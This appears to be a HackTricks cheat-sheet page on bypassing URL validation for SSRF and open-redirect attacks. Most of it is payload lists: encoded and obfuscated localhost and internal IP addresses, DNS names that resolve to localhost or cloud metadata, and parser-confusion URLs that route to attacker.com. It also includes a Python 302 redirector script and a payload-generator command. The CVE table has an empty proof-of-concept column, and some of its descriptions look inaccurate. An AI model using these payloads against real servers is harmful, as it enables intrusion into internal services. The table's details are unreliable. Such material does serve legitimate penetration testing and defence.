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263 lines
11 KiB
Markdown
263 lines
11 KiB
Markdown
# URL Format Bypass
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{{#include ../../banners/hacktricks-training.md}}
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### Localhost
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```bash
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# Localhost
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0 # Yes, just 0 is localhost in Linuc
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http://127.0.0.1:80
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http://127.0.0.1:443
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http://127.0.0.1:22
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http://127.1:80
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http://127.000000000000000.1
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http://0
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http:@0/ --> http://localhost/
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http://0.0.0.0:80
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http://localhost:80
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http://[::]:80/
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http://[::]:25/ SMTP
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http://[::]:3128/ Squid
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http://[0000::1]:80/
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http://[0:0:0:0:0:ffff:127.0.0.1]/thefile
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http://①②⑦.⓪.⓪.⓪
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# CDIR bypass
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http://127.127.127.127
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http://127.0.1.3
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http://127.0.0.0
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# Dot bypass
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127。0。0。1
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127%E3%80%820%E3%80%820%E3%80%821
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# Decimal bypass
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http://2130706433/ = http://127.0.0.1
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http://3232235521/ = http://192.168.0.1
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http://3232235777/ = http://192.168.1.1
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# Octal Bypass
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http://0177.0000.0000.0001
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http://00000177.00000000.00000000.00000001
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http://017700000001
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# Hexadecimal bypass
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127.0.0.1 = 0x7f 00 00 01
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http://0x7f000001/ = http://127.0.0.1
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http://0xc0a80014/ = http://192.168.0.20
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0x7f.0x00.0x00.0x01
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0x0000007f.0x00000000.0x00000000.0x00000001
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# Mixed encodings bypass
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169.254.43518 -> Partial Decimal (Class B) format combines the third and fourth parts of the IP address into a decimal number
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0xA9.254.0251.0376 -> hexadecimal, decimal and octal
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# Add 0s bypass
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127.000000000000.1
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# You can also mix different encoding formats
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# https://www.silisoftware.com/tools/ipconverter.php
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# Malformed and rare
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localhost:+11211aaa
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localhost:00011211aaaa
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http://0/
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http://127.1
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http://127.0.1
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# DNS to localhost
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localtest.me = 127.0.0.1
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customer1.app.localhost.my.company.127.0.0.1.nip.io = 127.0.0.1
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mail.ebc.apple.com = 127.0.0.6 (localhost)
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127.0.0.1.nip.io = 127.0.0.1 (Resolves to the given IP)
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www.example.com.customlookup.www.google.com.endcustom.sentinel.pentesting.us = Resolves to www.google.com
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http://customer1.app.localhost.my.company.127.0.0.1.nip.io
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http://bugbounty.dod.network = 127.0.0.2 (localhost)
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1ynrnhl.xip.io == 169.254.169.254
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spoofed.burpcollaborator.net = 127.0.0.1
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```
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.png>)
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The **Burp extension** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) implements IP formatting bypasses.
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### Domain Parser
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```bash
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https:attacker.com
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https:/attacker.com
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http:/\/\attacker.com
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https:/\attacker.com
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//attacker.com
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\/\/attacker.com/
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/\/attacker.com/
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/attacker.com
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%0D%0A/attacker.com
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#attacker.com
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#%20@attacker.com
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@attacker.com
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http://169.254.1698.254\@attacker.com
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attacker%00.com
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attacker%E3%80%82com
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attacker。com
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ⒶⓉⓉⒶⒸⓀⒺⓡ.Ⓒⓞⓜ
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```
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```
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① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾
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⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗
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⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰
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⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ
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Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ
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ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
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```
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### Domain Confusion
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```bash
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# Try also to change attacker.com for 127.0.0.1 to try to access localhost
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# Try replacing https by http
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# Try URL-encoded characters
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https://{domain}@attacker.com
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https://{domain}.attacker.com
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https://{domain}%6D@attacker.com
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https://attacker.com/{domain}
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https://attacker.com/?d={domain}
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https://attacker.com#{domain}
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https://attacker.com@{domain}
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https://attacker.com#@{domain}
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https://attacker.com%23@{domain}
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https://attacker.com%00{domain}
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https://attacker.com%0A{domain}
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https://attacker.com?{domain}
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https://attacker.com///{domain}
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https://attacker.com\{domain}/
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https://attacker.com;https://{domain}
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https://attacker.com\{domain}/
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https://attacker.com\.{domain}
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https://attacker.com/.{domain}
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https://attacker.com\@@{domain}
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https://attacker.com:\@@{domain}
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https://attacker.com#\@{domain}
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https://attacker.com\anything@{domain}/
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https://www.victim.com(\u2044)some(\u2044)path(\u2044)(\u0294)some=param(\uff03)hash@attacker.com
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# On each IP position try to put 1 attackers domain and the others the victim domain
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http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
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#Parameter pollution
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next={domain}&next=attacker.com
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```
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### Paths and Extensions Bypass
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If you are required that the URL must end in a path or an extension, or must contain a path you can try one of the following bypasses:
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```
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https://metadata/vulerable/path#/expected/path
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https://metadata/vulerable/path#.extension
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https://metadata/expected/path/..%2f..%2f/vulnerable/path
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```
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### Fuzzing
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The tool [**recollapse**](https://github.com/0xacb/recollapse) can generate variations from a given input to try to bypass the used regex. Check [**this post**](https://0xacb.com/2022/11/21/recollapse/) also for more information.
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### Automatic Custom Wordlists
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Check out the [**URL validation bypass cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) from portswigger were you can introduce the allowed host and the attackers one and it'll generate a list of URLs to try for you. It also considers if you can use the URL in a parameter, in a Host header or in a CORS header.
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{{#ref}}
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https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet
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{{#endref}}
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### Bypass via redirect
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It might be possible that the server is **filtering the original request** of a SSRF **but not** a possible **redirect** response to that request.\
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For example, a server vulnerable to SSRF via: `url=https://www.google.com/` might be **filtering the url param**. But if you uses a [python server to respond with a 302](https://pastebin.com/raw/ywAUhFrv) to the place where you want to redirect, you might be able to **access filtered IP addresses** like 127.0.0.1 or even filtered **protocols** like gopher.\
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[Check out this report.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
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```python
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#!/usr/bin/env python3
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#python3 ./redirector.py 8000 http://127.0.0.1/
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import sys
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from http.server import HTTPServer, BaseHTTPRequestHandler
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if len(sys.argv)-1 != 2:
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print("Usage: {} <port_number> <url>".format(sys.argv[0]))
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sys.exit()
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class Redirect(BaseHTTPRequestHandler):
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def do_GET(self):
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self.send_response(302)
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self.send_header('Location', sys.argv[2])
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self.end_headers()
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HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
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```
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## Explained Tricks
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### Blackslash-trick
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The _backslash-trick_ exploits a difference between the [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) and [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). While RFC3986 is a general framework for URIs, WHATWG is specific to web URLs and is adopted by modern browsers. The key distinction lies in the WHATWG standard's recognition of the backslash (`\`) as equivalent to the forward slash (`/`), impacting how URLs are parsed, specifically marking the transition from the hostname to the path in a URL.
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### Left square bracket
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The “left square bracket” character `[` in the userinfo segment can cause Spring’s UriComponentsBuilder to return a hostname value that differs from browsers: [https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878)
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### Other Confusions
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.png>)
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image from [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/)
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### IPv6 Zone Identifier (%25) Trick
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Modern URL parsers that support RFC 6874 allow *link-local* IPv6 addresses to include a **zone identifier** after a percent sign. Some security filters are not aware of this syntax and will only strip square-bracketed IPv6 literals, letting the following payload reach an internal interface:
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```text
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http://[fe80::1%25eth0]/ # %25 = encoded '%', interpreted as fe80::1%eth0
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http://[fe80::a9ff:fe00:1%25en0]/ # Another example (macOS style)
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```
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If the target application validates that the host is *not* `fe80::1` but stops parsing at the `%`, it may incorrectly treat the request as external. Always normalise the address **before** any security decision or strip the optional zone id entirely.
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### Recent Library Parsing CVEs (2022–2025)
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A number of mainstream frameworks have suffered from hostname-mismatch issues that can be exploited for SSRF once URL validation has been bypassed with the tricks listed above:
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| Year | CVE | Component | Bug synopsis | Minimal PoC |
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|------|-----|-----------|--------------|-------------|
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| 2024 | CVE-2024-22243 / ‑22262 | Spring `UriComponentsBuilder` | `[` is not allowed in the *userinfo* section, so `https://example.com\[@internal` is parsed as host `example.com` by Spring but as `internal` by browsers, enabling open-redirect & SSRF when host allow-lists are used. Upgrade to Spring 5.3.34 / 6.0.19 / 6.1.6+. |
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| 2023 | CVE-2023-27592 | **urllib3** <1.26.15 | Backslash confusion allowed `http://example.com\\@169.254.169.254/` to bypass host filters that split on `@`. |
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| 2022 | CVE-2022-3602 | OpenSSL | Hostname verification skipped when the name is suffixed with a `.` (dotless domain confusion). |
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When you depend on third-party URL parsers, **compare the canonicalised host returned by the library you trust with the raw string supplied by the user** to detect these classes of issues.
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### Payload-generation helpers (2024+)
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Creating large custom word-lists by hand is cumbersome. The open-source tool **SSRF-PayloadMaker** (Python 3) can now generate *80 k+* host-mangling combinations automatically, including mixed encodings, forced-HTTP downgrade and backslash variants:
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```bash
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# Generate every known bypass that transforms the allowed host example.com to attacker.com
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python3 ssrf_maker.py --allowed example.com --attacker attacker.com -A -o payloads.txt
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```
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The resulting list can be fed directly into Burp Intruder or `ffuf`.
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## References
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- [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25)
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- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md)
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- [https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet](https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet)
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- [https://nvd.nist.gov/vuln/detail/CVE-2024-22243](https://nvd.nist.gov/vuln/detail/CVE-2024-22243)
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- [https://github.com/hsynuzm/SSRF-PayloadMaker](https://github.com/hsynuzm/SSRF-PayloadMaker)
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{{#include ../../banners/hacktricks-training.md}}
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